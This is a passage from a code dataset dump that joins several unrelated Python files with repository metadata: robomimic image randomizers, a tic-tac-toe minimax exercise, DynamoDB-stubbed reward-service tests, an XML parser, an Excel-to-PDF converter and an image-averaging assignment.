or the given [min, max]. Should be non negative numbers.\n saturation (None or float or 2-tuple): How much to jitter saturation. saturation_factor is chosen uniformly\n from [max(0, 1 - saturation), 1 + saturation] or the given [min, max]. Should be non negative numbers.\n hue (None or float or 2-tuple): How much to jitter hue. hue_factor is chosen uniformly from [-hue, hue] or\n the given [min, max]. Should have 0<= hue <= 0.5 or -0.5 <= min <= max <= 0.5. To jitter hue, the pixel\n values of the input image has to be non-negative for conversion to HSV space; thus it does not work\n if you normalize your image to an interval with negative values, or use an interpolation that\n generates negative values before using this function.\n num_samples (int): number of random color jitters to take\n \"\"\"\n super(ColorRandomizer, self).__init__()\n\n assert len(input_shape) == 3 # (C, H, W)\n\n self.input_shape = input_shape\n self.brightness = [max(0, 1 - brightness), 1 + brightness] if type(brightness) in {float, int} else brightness\n self.contrast = [max(0, 1 - contrast), 1 + contrast] if type(contrast) in {float, int} else contrast\n self.saturation = [max(0, 1 - saturation), 1 + saturation] if type(saturation) in {float, int} else saturation\n self.hue = [-hue, hue] if type(hue) in {float, int} else hue\n self.num_samples = num_samples\n\n @torch.jit.unused\n def get_transform(self):\n \"\"\"\n Get a randomized transform to be applied on image.\n\n Implementation taken directly from:\n\n https://github.com/pytorch/vision/blob/2f40a483d73018ae6e1488a484c5927f2b309969/torchvision/transforms/transforms.py#L1053-L1085\n\n Returns:\n Transform: Transform which randomly adjusts brightness, contrast and\n saturation in a random order.\n \"\"\"\n transforms = []\n\n if self.brightness is not None:\n brightness_factor = random.uniform(self.brightness[0], self.brightness[1])\n transforms.append(Lambda(lambda img: TVF.adjust_brightness(img, brightness_factor)))\n\n if self.contrast is not None:\n contrast_factor = random.uniform(self.contrast[0], self.contrast[1])\n transforms.append(Lambda(lambda img: TVF.adjust_contrast(img, contrast_factor)))\n\n if self.saturation is not None:\n saturation_factor = random.uniform(self.saturation[0], self.saturation[1])\n transforms.append(Lambda(lambda img: TVF.adjust_saturation(img, saturation_factor)))\n\n if self.hue is not None:\n hue_factor = random.uniform(self.hue[0], self.hue[1])\n transforms.append(Lambda(lambda img: TVF.adjust_hue(img, hue_factor)))\n\n random.shuffle(transforms)\n transform = Compose(transforms)\n\n return transform\n\n def get_batch_transform(self, N):\n \"\"\"\n Generates a batch transform, where each set of sample(s) along the batch (first) dimension will have the same\n @N unique ColorJitter transforms applied.\n\n Args:\n N (int): Number of ColorJitter transforms to apply per set of sample(s) along the batch (first) dimension\n\n Returns:\n Lambda: Aggregated transform which will autoamtically apply a different ColorJitter transforms to\n each sub-set of samples along batch dimension, assumed to be the FIRST dimension in the inputted tensor\n Note: This function will MULTIPLY the first dimension by N\n \"\"\"\n return Lambda(lambda x: torch.stack([self.get_transform()(x_) for x_ in x for _ in range(N)]))\n\n def output_shape_in(self, input_shape=None):\n # outputs are same shape as inputs\n return list(input_shape)\n\n def output_shape_out(self, input_shape=None):\n # since the forward_out operation splits [B * N, ...] -> [B, N, ...]\n # and then pools to result in [B, ...], only the batch dimension changes,\n # and so the other dimensions retain their shape.\n return list(input_shape)\n\n def _forward_in(self, inputs):\n \"\"\"\n Samples N random color jitters for each input in the batch, and then reshapes\n inputs to [B * N, ...].\n \"\"\"\n assert len(inputs.shape) >= 3 # must have at least (C, H, W) dimensions\n\n # Make sure shape is exactly 4\n if len(inputs.shape) == 3:\n inputs = torch.unsqueeze(inputs, dim=0)\n\n # Create lambda to aggregate all color randomizings at once\n transform = self.get_batch_transform(N=self.num_samples)\n\n return transform(inputs)\n\n def _forward_out(self, inputs):\n \"\"\"\n Splits the outputs from shape [B * N, ...] -> [B, N, ...] and then average across N\n to result in shape [B, ...] to make sure the network output is consistent with\n what would have happened if there were no randomization.\n \"\"\"\n batch_size = (inputs.shape[0] // self.num_samples)\n out = TensorUtils.reshape_dimensions(inputs, begin_axis=0, end_axis=0,\n target_dims=(batch_size, self.num_samples))\n return out.mean(dim=1)\n\n def _visualize(self, pre_random_input, randomized_input, num_samples_to_visualize=2):\n batch_size = pre_random_input.shape[0]\n random_sample_inds = torch.randint(0, batch_size, size=(num_samples_to_visualize,))\n pre_random_input_np = TensorUtils.to_numpy(pre_random_input)[random_sample_inds]\n randomized_input = TensorUtils.reshape_dimensions(\n randomized_input,\n begin_axis=0,\n end_axis=0,\n target_dims=(batch_size, self.num_samples)\n ) # [B * N, ...] -> [B, N, ...]\n randomized_input_np = TensorUtils.to_numpy(randomized_input[random_sample_inds])\n\n pre_random_input_np = pre_random_input_np.transpose((0, 2, 3, 1)) # [B, C, H, W] -> [B, H, W, C]\n randomized_input_np = randomized_input_np.transpose((0, 1, 3, 4, 2)) # [B, N, C, H, W] -> [B, N, H, W, C]\n\n visualize_image_randomizer(\n pre_random_input_np,\n randomized_input_np,\n randomizer_name='{}'.format(str(self.__class__.__name__))\n )\n\n def __repr__(self):\n \"\"\"Pretty print network.\"\"\"\n header = '{}'.format(str(self.__class__.__name__))\n msg = header + f\"(input_shape={self.input_shape}, brightness={self.brightness}, contrast={self.contrast}, \" \\\n f\"saturation={self.saturation}, hue={self.hue}, num_samples={self.num_samples})\"\n return msg\n\n\nclass GaussianNoiseRandomizer(Randomizer):\n \"\"\"\n Randomly sample gaussian noise at input, and then average across noises at output.\n \"\"\"\n def __init__(\n self,\n input_shape,\n noise_mean=0.0,\n noise_std=0.3,\n limits=None,\n num_samples=1,\n ):\n \"\"\"\n Args:\n input_shape (tuple, list): shape of input (not including batch dimension)\n noise_mean (float): Mean of noise to apply\n noise_std (float): Standard deviation of noise to apply\n limits (None or 2-tuple): If specified, should be the (min, max) values to clamp all noisied samples to\n num_samples (int): number of random color jitters to take\n \"\"\"\n super(GaussianNoiseRandomizer, self).__init__()\n\n self.input_shape = input_shape\n self.noise_mean = noise_mean\n self.noise_std = noise_std\n self.limits = limits\n self.num_samples = num_samples\n\n def output_shape_in(self, input_shape=None):\n # outputs are same shape as inputs\n return list(input_shape)\n\n def output_shape_out(self, input_shape=None):\n # since the forward_out operation splits [B * N, ...] -> [B, N, ...]\n # and then pools to result in [B, ...], only the batch dimension changes,\n # and so the other dimensions retain their shape.\n return list(input_shape)\n\n def _forward_in(self, inputs):\n \"\"\"\n Samples N random gaussian noises for each input in the batch, and then reshapes\n inputs to [B * N, ...].\n \"\"\"\n out = TensorUtils.repeat_by_expand_at(inputs, repeats=self.num_samples, dim=0)\n\n # Sample noise across all samples\n out = torch.rand(size=out.shape) * self.noise_std + self.noise_mean + out\n\n # Possibly clamp\n if self.limits is not None:\n out = torch.clip(out, min=self.limits[0], max=self.limits[1])\n\n return out\n\n def _forward_out(self, inputs):\n \"\"\"\n Splits the outputs from shape [B * N, ...] -> [B, N, ...] and then average across N\n to result in shape [B, ...] to make sure the network output is consistent with\n what would have happened if there were no randomization.\n \"\"\"\n batch_size = (inputs.shape[0] // self.num_samples)\n out = TensorUtils.reshape_dimensions(inputs, begin_axis=0, end_axis=0,\n target_dims=(batch_size, self.num_samples))\n return out.mean(dim=1)\n\n def _visualize(self, pre_random_input, randomized_input, num_samples_to_visualize=2):\n batch_size = pre_random_input.shape[0]\n random_sample_inds = torch.randint(0, batch_size, size=(num_samples_to_visualize,))\n pre_random_input_np = TensorUtils.to_numpy(pre_random_input)[random_sample_inds]\n randomized_input = TensorUtils.reshape_dimensions(\n randomized_input,\n begin_axis=0,\n end_axis=0,\n target_dims=(batch_size, self.num_samples)\n ) # [B * N, ...] -> [B, N, ...]\n randomized_input_np = TensorUtils.to_numpy(randomized_input[random_sample_inds])\n\n pre_random_input_np = pre_random_input_np.transpose((0, 2, 3, 1)) # [B, C, H, W] -> [B, H, W, C]\n randomized_input_np = randomized_input_np.transpose((0, 1, 3, 4, 2)) # [B, N, C, H, W] -> [B, N, H, W, C]\n\n visualize_image_randomizer(\n pre_random_input_np,\n randomized_input_np,\n randomizer_name='{}'.format(str(self.__class__.__name__))\n )\n\n def __repr__(self):\n \"\"\"Pretty print network.\"\"\"\n header = '{}'.format(str(self.__class__.__name__))\n msg = header + f\"(input_shape={self.input_shape}, noise_mean={self.noise_mean}, noise_std={self.noise_std}, \" \\\n f\"limits={self.limits}, num_samples={self.num_samples})\"\n return msg\n","repo_name":"ARISE-Initiative/robomimic","sub_path":"robomimic/models/obs_core.py","file_name":"obs_core.py","file_ext":"py","file_size_in_byte":33955,"program_lang":"python","lang":"en","doc_type":"code","stars":294,"dataset":"github-code","pt":"67"} +{"seq_id":"27334353230","text":"# -*- coding: utf-8 -*-\nimport math\nimport time\nimport Tictactoe \nfrom random import randint,choice\n\ndef RandomMove(b):\n \"\"\"Renvoie un mouvement au hasard sur la liste des mouvements possibles\"\"\"\n return choice(b.legal_moves())\n\ndef deroulementRandom(b):\n \"\"\"Effectue un déroulement aléatoire du jeu de morpion.\"\"\"\n print(\"----------\")\n print(b)\n if b.is_game_over():\n res = getresult(b)\n if res == 1:\n print(\"Victoire de X\")\n elif res == -1:\n print(\"Victoire de O\")\n else:\n print(\"Egalité\")\n return\n b.push(RandomMove(b))\n deroulementRandom(b)\n b.pop()\n\n\ndef getresult(b):\n \"\"\"Fonction qui évalue la victoire (ou non) en tant que X. Renvoie 1 pour victoire, 0 pour\n égalité et -1 pour défaite. \"\"\"\n if b.result() == b._X:\n return 1\n elif b.result() == b._O:\n return -1\n else:\n return 0\n\n\n\n\"\"\"\n1. En utilisant les méthodes legal_moves() et is_game_over(), proposer une méthode permettant\nd’explorer toutes les parties possibles au Morpion (lorsque X commence). Combien y-a-t-il de parties ?\nCombien votre arbre de recherche a-t-il de noeuds ? Combien de temps faut-il pour tout explorer ?\n\"\"\"\ndef possibleGamesAux(b ,games,nodes):\n if b.is_game_over():\n # eval(b)\n games.append(1)\n else:\n for m in b.legal_moves():\n b.push(m)\n nodes.append(1)\n possibleGamesAux(b,games,nodes)\n b.pop()\ndef possibleGames(b):\n game=[]\n nodes=[]\n possibleGamesAux(b,game,nodes)\n return len(game),len(nodes)\n\n#TODO : improve it\ndef existWinningStrategyAux(b : Tictactoe.Board, winningGames = None):\n if b.is_game_over() :\n return getresult(b) == 1\n else:\n exist = True\n for m in b.legal_moves():\n b.push(m)\n exist = exist and existWinningStrategyAux(b,winningGames)\n b.pop()\n return exist\ndef existWinningStrategy(b : Tictactoe.Board ):\n return existWinningStrategyAux(b)\n\n\n\n\n\n# MinMax :\ndef minMax(board:Tictactoe.Board):\n if board.is_game_over() :\n return getresult(board)\n if(board._nextPlayer == board._X):\n maxEval = - math.inf\n for m in board.legal_moves():\n board.push(m)\n eval = minMax(board)\n board.pop()\n maxEval = max(eval,maxEval)\n return maxEval\n else:\n minEval = math.inf\n for m in board.legal_moves():\n board.push(m)\n eval = minMax(board)\n board.pop()\n minEval = min(eval,minEval)\n return minEval\n\n\n\n## Test function :\ndef deroulementRandomTest(board):\n print(board)\n ### Deroulement d'une partie aléatoire\n deroulementRandom(board)\n print(\"Apres le match, chaque coup est défait (grâce aux pop()): on retrouve le plateau de départ :\")\n print(board)\n\ndef possibleGamesTest(board):\n start = time.time()\n g,n = possibleGames(board)\n end = time.time()\n print(f\"we have {g} games and {n} nodes \\ntime of execution {(end -start)} s\");\n\ndef existWinningStrategyTest(board):\n start = time.time()\n isThere = existWinningStrategy(board)\n end = time.time()\n print(\"there is\", \"not \" if not isThere else \"\")\n print(f\"time : {(end -start)} s\")\n\ndef minMaxTest(board):\n for i in range (10):\n winner = minMax(board)\n print(winner)\n print(board)\ndef main():\n board = Tictactoe.Board()\n # existWinningStrategyTest(board)\n # minMaxTest(board)\n\nmain()\n\n\n\n","repo_name":"NiNejah/ia_jeux","sub_path":"td1/starter-tictactoe.py","file_name":"starter-tictactoe.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28638233887","text":"from unittest.mock import patch\n\nimport pytest\n\nimport jwt\nimport schema\nfrom boto3.dynamodb.conditions import Key\nfrom botocore.stub import Stubber\nfrom core.aws.event import Authorizer\nfrom core.services.logs import LogsService\nfrom core.services.rewards import RewardsService, RewardSet, RewardType, RewardProbability, RewardRarity, \\\n RewardReason\nfrom freezegun import freeze_time\n\n\n@pytest.fixture(scope=\"function\")\ndef ddb_stubber():\n # noinspection PyProtectedMember\n ddb_stubber = Stubber(LogsService.get_interface()._model.get_table().meta.client)\n ddb_stubber.activate()\n yield ddb_stubber\n ddb_stubber.deactivate()\n\n\n@freeze_time('2020-01-01')\ndef test_reward_token(ddb_stubber: Stubber):\n authorizer = Authorizer({\n \"claims\": {\n \"sub\": \"abcABC123\"\n }\n })\n\n static_rewards = RewardSet(rewards=[\n RewardProbability(category=RewardType.POINTS, rarity=RewardRarity.COMMON),\n ])\n box_rewards = [RewardSet(rewards=[\n RewardProbability(category=RewardType.ZONE, rarity=RewardRarity.RARE),\n RewardProbability(category=RewardType.AVATAR, rarity=RewardRarity.RARE),\n ])]\n\n update_params = {\n 'TableName': 'beneficiaries',\n 'Key': {'user': 'abcABC123'},\n 'ExpressionAttributeNames': {'#attr_generated_token_last': 'generated_token_last'},\n 'ExpressionAttributeValues': {':val_generated_token_last': 1},\n 'UpdateExpression': 'ADD #attr_generated_token_last :val_generated_token_last',\n 'ReturnValues': 'UPDATED_NEW'\n }\n update_response = {\n 'Attributes': {\n 'generated_token_last': {'N': str(10)}\n }\n }\n ddb_stubber.add_response('update_item', update_response, update_params)\n token = RewardsService.generate_reward_token(authorizer, static=static_rewards, boxes=box_rewards,\n reason=RewardReason.PROGRESS_LOG, area='corporality')\n ddb_stubber.assert_no_pending_responses()\n\n decoded = jwt.JWT().decode(token, do_verify=False)\n\n schema.Schema({\n 'sub': 'abcABC123',\n 'reason': 'PROGRESS_LOG',\n 'index': 10,\n 'iat': 1577836800,\n 'exp': 1577836800 + 7 * 24 * 60 * 60,\n 'area': 'corporality',\n 'static': [\n {\n 'type': 'POINTS',\n 'rarity': 'COMMON'\n }\n ],\n 'boxes': [[\n {\n 'type': 'ZONE',\n 'rarity': 'RARE'\n },\n {\n 'type': 'AVATAR',\n 'rarity': 'RARE'\n }\n ]]\n }).validate(decoded)\n\n\n@freeze_time('2020-01-01')\ndef test_claim_reward(ddb_stubber: Stubber):\n authorizer = Authorizer({\n \"claims\": {\n \"sub\": \"abcABC123\"\n }\n })\n static_rewards = RewardSet(rewards=[\n RewardProbability(category=RewardType.POINTS, rarity=RewardRarity.COMMON),\n ])\n box_rewards = [RewardSet(rewards=[\n RewardProbability(category=RewardType.POINTS, rarity=RewardRarity.COMMON),\n RewardProbability(category=RewardType.ZONE, rarity=RewardRarity.RARE),\n RewardProbability(category=RewardType.AVATAR, rarity=RewardRarity.RARE),\n ])]\n\n update_response = {\n 'Attributes': {\n 'generated_token_last': {'N': str(10)}\n }\n }\n\n update_params = {\n 'ExpressionAttributeNames': {'#attr_generated_token_last': 'generated_token_last'},\n 'ExpressionAttributeValues': {':val_generated_token_last': 1},\n 'Key': {'user': 'abcABC123'},\n 'ReturnValues': 'UPDATED_NEW',\n 'TableName': 'beneficiaries',\n 'UpdateExpression': 'ADD #attr_generated_token_last :val_generated_token_last'\n }\n\n ddb_stubber.add_response('update_item', update_response, update_params)\n\n update_response = {\n 'Attributes': {\n 'n_claimed_tokens': {'N': str(10)}\n }\n }\n\n update_params = {\n 'ConditionExpression': '#attr_n_claimed_tokens < :val_n_claimed_tokens',\n 'ExpressionAttributeNames': {'#attr_n_claimed_tokens': 'n_claimed_tokens'},\n 'ExpressionAttributeValues': {':val_n_claimed_tokens': 10},\n 'Key': {'user': 'abcABC123'},\n 'ReturnValues': 'UPDATED_NEW',\n 'TableName': 'beneficiaries',\n 'UpdateExpression': 'SET #attr_n_claimed_tokens=:val_n_claimed_tokens'\n }\n\n ddb_stubber.add_response('update_item', update_response, update_params)\n\n for reward in static_rewards.rewards + box_rewards[0].rewards:\n if reward.type == RewardType.POINTS:\n continue\n response = {\n 'Items': [\n {\n 'category': {\n 'S': reward.type.name\n },\n 'description': {\n 'S': 'A description'\n },\n 'release-id': {\n 'N': str(-12345 if reward.rarity == RewardRarity.RARE else 12345)\n }\n }\n ]\n }\n lowest = 0\n highest = -99999 if reward.rarity == RewardRarity.RARE else 99999\n params = {\n 'ExpressionAttributeNames': {'#attr_category': 'category',\n '#attr_description': 'description',\n '#attr_price': 'price',\n '#attr_release_id': 'release-id'},\n 'KeyConditionExpression':\n Key('category').eq(reward.type.name) & Key('release-id').between(min(lowest, highest),\n max(lowest, highest)),\n 'Limit': 1,\n 'ProjectionExpression': '#attr_category, #attr_description, #attr_release_id, #attr_price',\n 'TableName': 'rewards'\n }\n ddb_stubber.add_response('query', response, params)\n\n batch_response = {\n\n }\n\n batch_params = {\n 'RequestItems': {\n 'logs': [\n {\n 'PutRequest': {\n 'Item': {\n 'user': 'abcABC123',\n 'tag': 'REWARD::POINTS::' + str(1577836800000),\n 'timestamp': 1577836800000,\n 'log': 'Won a reward',\n 'data': {\n 'category': 'POINTS',\n 'description': {\n 'amount': 20\n },\n 'rarity': 'COMMON',\n 'release': 0\n }\n }\n }\n },\n {\n 'PutRequest': {\n 'Item': {\n 'user': 'abcABC123',\n 'tag': 'REWARD::POINTS::' + str(1577836800001),\n 'timestamp': 1577836800001,\n 'log': 'Won a reward',\n 'data': {\n 'category': 'POINTS',\n 'rarity': 'COMMON',\n 'release': 0,\n 'description': {\n 'amount': 20\n }\n }\n }\n }\n },\n {\n 'PutRequest': {\n 'Item': {\n 'user': 'abcABC123',\n 'tag': 'REWARD::ZONE::12345::' + str(1577836800002),\n 'timestamp': 1577836800002,\n 'log': 'Won a reward',\n 'data': {\n 'category': 'ZONE',\n 'rarity': 'RARE',\n 'description': 'A description',\n 'id': 12345,\n 'release': 1,\n }\n }\n }\n },\n {\n 'PutRequest': {\n 'Item': {\n 'user': 'abcABC123',\n 'tag': 'REWARD::AVATAR::12345',\n 'timestamp': 1577836800003,\n 'log': 'Won a reward',\n 'data': {\n 'category': 'AVATAR',\n 'rarity': 'RARE',\n 'id': 12345,\n 'release': 1,\n 'description': 'A description'\n }\n }\n }\n }\n ]}\n }\n ddb_stubber.add_response('batch_write_item', batch_response, batch_params)\n\n ddb_stubber.add_response('update_item', {}, {\n 'ExpressionAttributeNames': {\n '#attr_score': 'score',\n '#attr_score_affectivity': 'affectivity',\n '#attr_score_character': 'character',\n '#attr_score_corporality': 'corporality',\n '#attr_score_creativity': 'creativity',\n '#attr_score_sociability': 'sociability',\n '#attr_score_spirituality': 'spirituality'\n },\n 'ExpressionAttributeValues': {\n ':val_score_affectivity': 7,\n ':val_score_character': 7,\n ':val_score_corporality': 7,\n ':val_score_creativity': 7,\n ':val_score_sociability': 7,\n ':val_score_spirituality': 7\n },\n 'Key': {'user': 'abcABC123'},\n 'ReturnValues': 'UPDATED_NEW',\n 'TableName': 'beneficiaries',\n 'UpdateExpression': 'ADD #attr_score.#attr_score_corporality '\n ':val_score_corporality, '\n '#attr_score.#attr_score_creativity '\n ':val_score_creativity, #attr_score.#attr_score_character '\n ':val_score_character, '\n '#attr_score.#attr_score_affectivity '\n ':val_score_affectivity, '\n '#attr_score.#attr_score_sociability '\n ':val_score_sociability, '\n '#attr_score.#attr_score_spirituality '\n ':val_score_spirituality'\n })\n\n token = RewardsService.generate_reward_token(authorizer, static=static_rewards, boxes=box_rewards)\n with patch('random.randint', lambda a, b: 0 if a < 0 else b):\n rewards = RewardsService.claim_reward(authorizer=authorizer, reward_token=token, release=1, box_index=0)\n api_map = [r.to_api_map() for r in rewards]\n schema.Schema({\n 'category': 'POINTS',\n 'release': 0,\n 'rarity': 'COMMON',\n 'description': {\n 'amount': 20\n }\n }).validate(api_map[0])\n schema.Schema({\n 'category': 'POINTS',\n 'release': 0,\n 'rarity': 'COMMON',\n 'description': {\n 'amount': 20\n }\n }).validate(api_map[1])\n schema.Schema({\n 'category': 'ZONE',\n 'release': 1,\n 'rarity': 'RARE',\n 'description': 'A description',\n 'id': 12345\n }).validate(api_map[2])\n schema.Schema({\n 'category': 'AVATAR',\n 'release': 1,\n 'rarity': 'RARE',\n 'description': 'A description',\n 'id': 12345\n }).validate(api_map[3])\n\n ddb_stubber.assert_no_pending_responses()\n\n\ndef test_get_random(ddb_stubber: Stubber):\n params = {\n 'KeyConditionExpression': Key('category').eq('AVATAR') & Key('release-id').between(0, 99999),\n 'ProjectionExpression': '#attr_category, #attr_description, #attr_release_id, #attr_price',\n 'ExpressionAttributeNames': {\n '#attr_category': 'category',\n '#attr_description': 'description',\n '#attr_price': 'price',\n '#attr_release_id': 'release-id'\n },\n 'Limit': 1,\n 'TableName': 'rewards'}\n response = {\n 'Items': [\n {\n 'category': {\n 'S': 'AVATAR'\n },\n 'description': {\n 'S': 'A description'\n },\n 'release-id': {\n 'N': str(112345)\n }\n }\n ]\n }\n ddb_stubber.add_response('query', response, params)\n with patch('random.randint', lambda a, b: b):\n reward = RewardsService.get_random(RewardType.AVATAR, 1, RewardRarity.COMMON)\n assert reward.release == 2\n assert reward.id == 112345\n assert reward.type == RewardType.AVATAR\n assert reward.description == 'A description'\n ddb_stubber.assert_no_pending_responses()\n","repo_name":"pankandev/scout-progression-system-sam","sub_path":"pps/core-layer/python/core/services/tests/test_rewards.py","file_name":"test_rewards.py","file_ext":"py","file_size_in_byte":13107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72765238613","text":"import xml.etree.ElementTree as ET\n\n\nclass XMLParse:\n \"\"\"\n Takes in a filepath to xml document when class instantiated\n and parses the document.\n \"\"\"\n def __init__(self, filepath: str) -> None:\n with open(filepath) as f:\n self.parsed_xml = ET.fromstringlist(['<root>', f.read(), '</root>'])\n\n def serialize_xml(self) -> list[dict]:\n \"\"\"\n Serialize's the parsed XML into a list of dictionaries.\n Example XML to be serialized:\n\n <root>\n <record><recordtext>text</recordtext></record>\n <record>text</record>\n </root>\n\n Outputs: [{'record': {'recordtext': 'text'}}, {'record': 'text'}]\n\n Known flaws to fix:\n 1. Does not currently serialize the attributes of tags.\n 2. If duplicate tags exists in same tag except for root it will\n only return item for the last appearing of the same tags.\n 3. If tag has text and child tags it will only return the serialized\n child tags and not the text in the tag.\n \"\"\"\n out_list = []\n\n for node in self.parsed_xml:\n if len(node):\n out_list.append({node.tag: self.getchildrenobjects(node)})\n else:\n out_list.append({node.tag: node.text})\n\n return out_list\n\n def getchildrenobjects(self, node: ET.Element) -> dict:\n out_dict = {}\n for child in node:\n if len(child):\n out_dict[child.tag] = self.getchildrenobjects(child)\n else:\n out_dict[child.tag] = child.text\n\n return out_dict\n","repo_name":"dpmumme12/Knowledge-Share","sub_path":"KnowledgeShare/utils/xml.py","file_name":"xml.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"67"} +{"seq_id":"74901128214","text":"from config import PDF_DIR, OUTPUT_DIR, summary, loan_book_movement, prepayments_and_reschedulement, collections_and_overdues, PAGE_SCALE\nfrom utils import get_sheets_in_dir, get_visible_sheet_list, get_sheet_row_count, get_sheet_column\nfrom openpyxl import load_workbook\nfrom openpyxl.worksheet.page import PageMargins, PrintPageSetup\nimport os\nfrom openpyxl.styles import Border\nfrom colors import print_bold_header, print_bold_blue, print_bold_warning, print_bold_green, print_bold_red\nimport win32com.client\nfrom pywintypes import com_error\nimport time\nimport shutil\n\ndef convert_to_pdf():\n\n generate_temp_excel_for_pdf()\n update_temp_excel_and_convert_to_pdf()\n \n\ndef generate_temp_excel_for_pdf():\n for file in get_sheets_in_dir(OUTPUT_DIR):\n source = os.path.join(OUTPUT_DIR, file)\n des = os.path.join(PDF_DIR, f\"tmp{file}\")\n shutil.copy(source, des)\n\ndef update_temp_excel_and_convert_to_pdf():\n for file in get_sheets_in_dir(PDF_DIR):\n print_bold_blue(\"------------------------------------------------------------\")\n tic = time.time()\n if file.endswith(\".pdf\"):\n continue\n filename = os.path.join(PDF_DIR, file)\n wb = load_workbook(filename=filename)\n sheet_list = get_visible_sheet_list(wb)\n for sheet in sheet_list:\n ws = wb[sheet]\n ws.oddFooter.center.text = 'Page &P of &N' \n ws.evenFooter.center.text = 'Page &P of &N'\n if sheet == summary or sheet.startswith(summary):\n ws.page_margins = PageMargins(left=0.50, right=0.50, top=0.50, bottom=1.50, header=0.3, footer=0.3)\n ws.page_setup = PrintPageSetup(orientation=ws.ORIENTATION_PORTRAIT, paperSize=ws.PAPERSIZE_A4, scale=PAGE_SCALE[summary])\n elif sheet == loan_book_movement or sheet.startswith(\"Loan\"):\n ws.page_margins = PageMargins(left=0.50, right=0.50, top=0.50, bottom=1.50, header=0.3, footer=0.3)\n ws.page_setup = PrintPageSetup(orientation=ws.ORIENTATION_LANDSCAPE, paperSize=ws.PAPERSIZE_A4, scale=PAGE_SCALE[loan_book_movement])\n ws.print_title_cols = 'A:D'\n ws.print_title_rows = '1:5'\n update_border(ws)\n elif sheet == prepayments_and_reschedulement:\n ws.page_margins = PageMargins(left=0.50, right=0.50, top=0.50, bottom=1.50, header=0.3, footer=0.3)\n ws.page_setup = PrintPageSetup(orientation=ws.ORIENTATION_LANDSCAPE, paperSize=ws.PAPERSIZE_A4, scale=PAGE_SCALE[prepayments_and_reschedulement])\n elif sheet == collections_and_overdues:\n ws.page_margins = PageMargins(left=0.50, right=0.50, top=0.50, bottom=1.50, header=0.3, footer=0.3)\n ws.page_setup = PrintPageSetup(orientation=ws.ORIENTATION_LANDSCAPE, paperSize=ws.PAPERSIZE_A4, scale=PAGE_SCALE[collections_and_overdues])\n ws.print_title_cols = 'A:B'\n ws.print_title_rows = '1:4'\n update_border(ws)\n else:\n ws.page_margins = PageMargins(left=0.50, right=0.50, top=0.50, bottom=1.50, header=0.3, footer=0.3)\n ws.page_setup = PrintPageSetup(orientation=ws.ORIENTATION_LANDSCAPE, paperSize=ws.PAPERSIZE_A4, scale=PAGE_SCALE[\"default\"])\n wb.save(filename)\n print_bold_header(f\"Page Setup Done for file {file}\")\n print_bold_header(f\"Borders removed for file {file}\")\n excel_to_pdf(file, sheet_list)\n toc = time.time()\n print_bold_green(f\"Time Take: {toc-tic} seconds\")\n print_bold_blue(\"------------------------------------------------------------\")\n\n\ndef update_border(ws):\n max_row = get_sheet_row_count(ws)\n max_col = get_sheet_column(ws)\n for rows in ws.iter_rows(min_row=1, min_col=1, max_row=max_row ,max_col=max_col):\n for cell in rows:\n cell.border = Border(left=None, right=None, bottom=None, top=None, outline=None)\n \ndef excel_to_pdf(excel_file, sheet_list):\n excel = win32com.client.Dispatch(\"Excel.Application\")\n excel.interactive = False\n excel.visible = False\n pdf_file = excel_file[3:len(excel_file)-4] + \"pdf\"\n pdf_file_path = os.path.join(PDF_DIR, pdf_file)\n excel_file_path = os.path.join(PDF_DIR, excel_file)\n try:\n wb = excel.Workbooks.Open(excel_file_path)\n sheet_count = sheet_list.index(collections_and_overdues) + 1\n ws_index_list = [x for x in range(1, sheet_count+1)]\n wb.WorkSheets(ws_index_list).Select()\n wb.ActiveSheet.ExportAsFixedFormat(0, pdf_file_path)\n except com_error as e:\n print_bold_red(f'Failed. {e}')\n except Exception as e:\n print_bold_red(f\"Error: {e}\")\n else:\n print_bold_warning(f\"Converted {excel_file} to {pdf_file}\")\n finally:\n wb.Close()\n excel.Quit()\n \n","repo_name":"dishantsethi/automate-excel","sub_path":"exceltopdf.py","file_name":"exceltopdf.py","file_ext":"py","file_size_in_byte":4853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38046874732","text":"\"\"\"\nFile: stanCodoshop.py\nName: Andy\n----------------------------------------------\nSC101_Assignment3 Adapted from Nick Parlante's\nGhost assignment by Jerry Liao.\n\"\"\"\n\nimport os\nimport sys\nfrom simpleimage import SimpleImage\n\n\ndef get_pixel_dist(pixel, red, green, blue):\n \"\"\"\n Returns a value that refers to the \"color distance\" between a pixel and a mean RGB value.\n\n Input:\n pixel (Pixel): the pixel with RGB values to be compared\n red (int): the average red value of the pixels to be compared\n green (int): the average green value of the pixels to be compared\n blue (int): the average blue value of the pixels to be compared\n\n Returns:\n dist (float): the \"color distance\" of a pixel to the average RGB value of the pixels to be compared.\n \"\"\"\n color_distance = (red - pixel.red) ** 2 + (green - pixel.green) ** 2 + (blue - pixel.blue) ** 2\n color_distance = color_distance ** (1/2)\n return color_distance\n\n\ndef get_average(pixels):\n \"\"\"\n Given a list of pixels, finds their average red, blue, and green values.\n\n Input:\n pixels (List[Pixel]): a list of pixels to be averaged\n\n Returns:\n rgb (List[int]): a list of average red, green, and blue values of the pixels\n (returns in order: [red, green, blue])\n \"\"\"\n # 更簡潔的寫法(python comprehension)\n total_red = sum(pixel.red for pixel in pixels)\n total_green = sum(pixel.green for pixel in pixels)\n total_blue = sum(pixel.blue for pixel in pixels)\n\n rgb = [total_red//len(pixels), total_green//len(pixels), total_blue//len(pixels)]\n return rgb\n\n # total_red = 0\n # total_green = 0\n # total_blue = 0\n # for pixel in pixels:\n # total_red += pixel.red\n # total_green += pixel.green\n # total_blue += pixel.blue\n #\n # red = total_red // len(pixels)\n # green = total_green // len(pixels)\n # blue = total_blue // len(pixels)\n # rgb_avg = [red, green, blue]\n # return rgb_avg\n\n\ndef get_best_pixel(pixels):\n \"\"\"\n Given a list of pixels, returns the pixel with the smallest \"color distance\",\n which has the closest color to the average.\n\n Input:\n pixels (List[Pixel]): a list of pixels to be compared\n Returns:\n best (Pixel): the pixel which has the closest color to the average\n \"\"\"\n # 更簡潔的寫法\n rgb_avg = get_average(pixels)\n distance_list = []\n for pixel in pixels:\n distance = get_pixel_dist(pixel, rgb_avg[0], rgb_avg[1], rgb_avg[2])\n distance_list.append((distance, pixel)) # (distance, pixel)是一個tuple\n return 